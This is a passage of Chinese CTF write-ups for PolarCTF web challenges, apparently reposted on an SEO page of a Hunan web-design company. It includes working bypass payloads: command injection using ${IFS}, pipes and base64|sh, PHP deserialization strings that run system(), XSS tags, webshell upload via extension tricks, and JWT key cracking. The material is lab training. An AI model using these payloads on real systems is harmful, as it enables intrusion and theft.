湖南省网站建设_网站建设公司_CSS_seo优化
2025/12/30 22:57:30 网站建设 项目流程
1. 简单Rce

看到题目代码过滤了一些关键字符cat tac 和system都被过滤了,不能再去使用。但是可以利用vi命令进行读取flag

执行外部命令函数:system()、passthru()、exec()

2. seek flag

进入题目找找flag。在cookie中将id改成1,得到了第一段flag

在其get请求包中看到第二段flag

dirsearch进行目录扫描,看到有一个robots.txt,访问后得到第三段flag

3. jwt

进入是一个登录界面,先登录再注册,进入主页后并未得到有用信息

抓包后看到一个hint:flag-is-admin-password,得知username为admin

先注册一个新用户,注册成功就去登录

抓包看到JWT,拿去解密,需要对称密钥,在kali中利用jwt-cracker进行爆破解密,解密后得知其密钥为SASY

./jwtcrack

进行解密,将jwt中的代码解码然后更换username和对称密钥,然后再进行编码,将重新编码后的代码进行更换,发包,得到falg

4. $$

$GLOBALS:用于访问所有全局变量(来自全局范围的变量),即可以从PHP脚本中的任何范围访问的变量。

5. XFF

抓包修改X-Farded-For:1.1.1.1,然后发送看到flag

6. GET-POST

先传id

再传post

7. 被黑掉的站

在页面中并无得到有用信息

在kali中利用dirsearch -u 网址,扫描出两个成功发送的包,index.php.bak shell.php

访问index.php.bak,得到一个像是密码字典的文件

访问shell.php,看到一个登录框,和前面给的刚好呼应上了

利用bp进行弱口令爆破

完成后得到登陆密码(nikel),登录后成功得到flag

8. rce1

?ip=127.0.0.1|ls

空格被过滤了,用${IFS}进行绕过

?id=127.0.0.1|cat${IFS}fllllaaag.php

查看网页源代码得到flag

9. 签到题

发现提交按钮不可以提交,然后修改前端的提交值

随便输入123,然后提示提交ilovejljcxy就可以得到flag

再次修改然后输入ilovejljcxy,发现有字数限制,再修改字数限制

最后得到flag

10. upload

查看网页源代码,看到?action=show_code,访问后看到php等许多文件后缀被过滤了

选择一句话木马图片上传

利用bp抓包,将文件后缀名利用双写绕过改成php后缀,发送请求,成功更换

利用蚁剑进行连接,成功看到flag

11. 机器人

利用Kali中dirsearch进行扫描,查到了一个/robots.txt文件

访问后看到flag,但发现只有一半,尝试提交果然不对

Disallow是一个目录,尝试访问但访问不了

利用dirsearch扫描看到了/27f5e15b6af3223f1176293cd015771d/flag.php文件

访问后看到flag后半段,前后两段拼在一起得到flag

12. 干正则

参数为id,包含flag.php文件

flag .php 被过滤

pyload:?id=a[0]=www.polarctf.com&cmd=|ls;

pyload:?id=a[0]=www.polarctf.com&cmd=|cat `ls`; 查看源代码后看到flag

13. 覆盖

代码说用GET传参(id),需要a[0]=www.polarctf.com

$ip = $_get['cmd'] 获取名为cmd的 GET 参数值,并赋给变量$ip

?id=a[0]=www.polarctf.com&cmd=;cat fla*

14. debudao

查看网页源代码看到一个flag,提交后是错误的

最后在cookie中找到真的flag

15. 审计

在url中输入?xxs=240610708,md50e绕过

16. 井字棋

在控制台中输入declareWinner("您赢了"!);然后弹窗弹出flag

17. button

出现一个“点击我"的按钮,但是并不能点击到

查看了一下网页源代码,看到一个js文件,说要点击好多9999次,很显然这是不可能的,看到下面看有一个方法查看 flag,访问proxy.php?file=flag,访问后是空白页面,查看网页源代码看到flag

18. 来个弹窗

利用:<script>alert('xss')</script>正常提交,但并没有显示,可能被过滤了

利用双写绕过<script>alert('xss')</sscript>,攻击成功

得到一副图片,说flag就是该人物名称MD5加密,上网查找后用MD5加密得到flag

19. php very nice

php反序列化

当PHP脚本执行完毕或对象被销毁时,_destruct() 自动执行

如果$sys是恶意代码就会被执行

构造php代码

设置要执行的系统命令

创建Example对象

序列化对象并输出

payload:?a=O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";}

出现两个目录

利用php伪协议读取一下(?)

payload:O:7:"Example":1:{s:3:"sys";s:69:"include('php://filter/read=convert.base64-encode/resource=flag.php');";}

解码得到flag

20. 狗黑子的RCE

过滤了很多命令和符号

有两个参数gouheizi1和gouheizi2

原始输入中的 'gouheizi' 会被移除

如果 POST gouheizi2=ggouheiziouheizihi,处理后变成 ghi,不等于 "gouheizi"

要使处理后等于 "gouheizi",原始输入必须是 "gouheizi"(因为移除 'gouheizi' 后为空)或其他包含 'gouheizi' 的组合

payload如下,过滤字符用l\s进行过滤,执行后再根目录下看到flag.php查看php文件

c\at /fl\ag.php

21. 命运石之门

登录框α线,随便试试,不行,还看不到验证码

查看网页源代码,得到一串编码,解码说验证码是否好使不重要

目录扫描,扫到个password.txt文件,这就应该是爆破了

然后爆破出密码是hunangleiSAMA0712,成功到达第二个β线

接着爆破,得到密码huan9le1Sam0,得到flag

22. rce命令执行系统

尝试输入命令,但貌似都被过滤了,都不能进行正常的输出

看看环境变量是否可以输出,尝试输入env,能成功输出,看到有flag,但是它是个假的

进行目录扫描,扫到一个flag.txt文件,访问看到了提示

txt > php,l > 1,这像是让我们将文件名称进行改变一下,改变一下进行访问

得到另一个提示,要给XOR_KEY进行传参

?XOR_KEY=Polar,成功执行,得到真正的flag

23. uploader
<?php $sandBox = md5($_SERVER['REMOTE_ADDR']);//生成专属目录名:获取访问者的IP地址,并用MD5加密 if(!is_dir($sandBox)){ mkdir($sandBox,0755,true);//要创建的目录名,目录权限0755,true表示允许递归创建 if($_FILES){//判断是否上传文件 move_uploaded_file($_FILES['file']['tmp_name'],$sandBox."/".$_FILES["file"]["name"])// $_FILES['file']['tmp_name']:PHP自动保存的上传文件临时路径 echo "上传文件名: " . $_FILES["file"]["name"] . "<br>"; echo "文件类型: " . $_FILES["file"]["type"] . "<br>"; echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo $sandBox; } highlight_file(__FILE__);

$sandBox."/".$_FILES["file"]["name"]:目标路径(专属目录 + 原文件名),这个很重要!!

只给出了上传的代码,没有上传的方式,需要自己写一个上传的html页面

上传一句话木马的php文件,之后进行访问,记得加上专属目录名(用md5加密的访问者的IP地址)。然后进行命令执行

<!DOCTYPE html> <html> <body> <form action="http://70c5aad8-a20c-4181-80c0-8bd102f6233c.www.polarctf.com:8090/" enctype="multipart/form-data" method="post" > <input name="file" type="file" /> <input type="submit" type="submit" /> </form> </body> </html>

24. bllbl_ser1

题目给了一串反序列化代码

<?php class bllbl { public $qiang;//我的强 function __destruct(){ $this->bllliang(); } function bllliang(){ $this->qiang->close(); } } class bllnbnl{ public $er;//我的儿 function close(){ eval($this->er); } } if(isset($_GET['blljl'])){ $user_data=unserialize($_GET['blljl']); } ?>

一共就两个类,构造一下代码

<?php class bllbl{ public $qiang; } class bllnbnl{ public $er; } $a=new bllbl(); $b=new bllnbnl(); $a->qiang=$b; $b->er='system("ls /");'; echo serialize($a); ?>

25. 1ncIud3

在该题目中,当你传入../时,会将其转换成空

当 PHP 把这个路径传给操作系统时,系统会按上面的规则规范化,最终变成 ../../test.php,实现了目录穿越。PHP 拼接路径后传给系统,系统规范化路径传入的内容就会变成../../../../f1a9,从而成功读取

26. 投喂

27. 简单的导航站

网页源代码中得到密码

注册,登陆下

产看用户列表,有代码,用数组进行绕过,得到用户名字符串,需要爆破(在文件管理中的登录框进行爆破)

得到账号为P0la2adm1n,登陆进去是一个上传页面,没有过滤,直接上传php的木马文件,然后蚁剑进行连接

上传路径为/uploads/上传的文件名

看到很多flag

在flag验证框中进行flag验证,爆破

28. background

d和p一个表示执行的命令,一个表示执行的语句,然后是要用POST方法去获取change_background.php文件

payload:d=cat&p=/flag

29. 俄罗斯方块

要是直接玩也是可以的,就是耗时太久了

直接在控制台进行分数修改,让score=10,然后玩一把就可以得到提示,但是这个提示就是一串文字

又查看js代码看到有一个获取文件,get_squirrt1e.php,访问后就可以得到flag

30. 代码审计easy

<?php $page = 'hello.php'; if (isset($_GET['page'])) { $page = $_GET['page']; } $base_dir = __DIR__ . '/pages/'; $target = $base_dir . $page; if (preg_match('/https?:\/\//i', $page)) { echo "远程 URL 不允许呦。"; exit; } if (file_exists($target)) { $content = file_get_contents($target); echo "<pre>" . htmlspecialchars($content, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . "</pre>"; } else { if (@file_exists($page)) { $content = file_get_contents($page); echo "<pre>" . htmlspecialchars($content, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . "</pre>"; } else { echo "No!: " . htmlspecialchars($page); } }

这题flag在根目录

31. VIP

抓包,修改vipStatus的值,no修改成yes

32. white

是一个命令执行的界面

ls pwd whoami date echo base64 sh
命令包含不允许的内容,匹配模式: /[;&`$\'\"<>?*[\]{}()#@!%]/
禁止危险函数(如 system、eval、tac、cat 等)
命令包含不允许的内容,匹配模式: /\b(etc|proc|dev|bin|sbin|usr|home|flag)\b/i

在过滤的命令中没有过滤管道符(|),这是可以利用的一个点。管道符拼接

echo bHM= 输出字符串 bHM=(这是 ls 的 Base64 编码结果)

base64 -d 对输入的 Base64 字符串解码(bHM= 解码后得到 ls)

sh 调用 Shell 执行输入的命令(即执行 ls,列出当前目录文件

也可以用反斜杠\来进行绕过flag关键字的过滤

33. help

直接查找js文件就可以了

34. cookie欺骗2.0

登录成功然后抓包,修改user,发包,认证失败。那可能后面的值也要修改

hfrel拿去解码,发现时rot13加密,结果是user1。同样将admin进行rot13加密,替换上去,发包得到flag

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询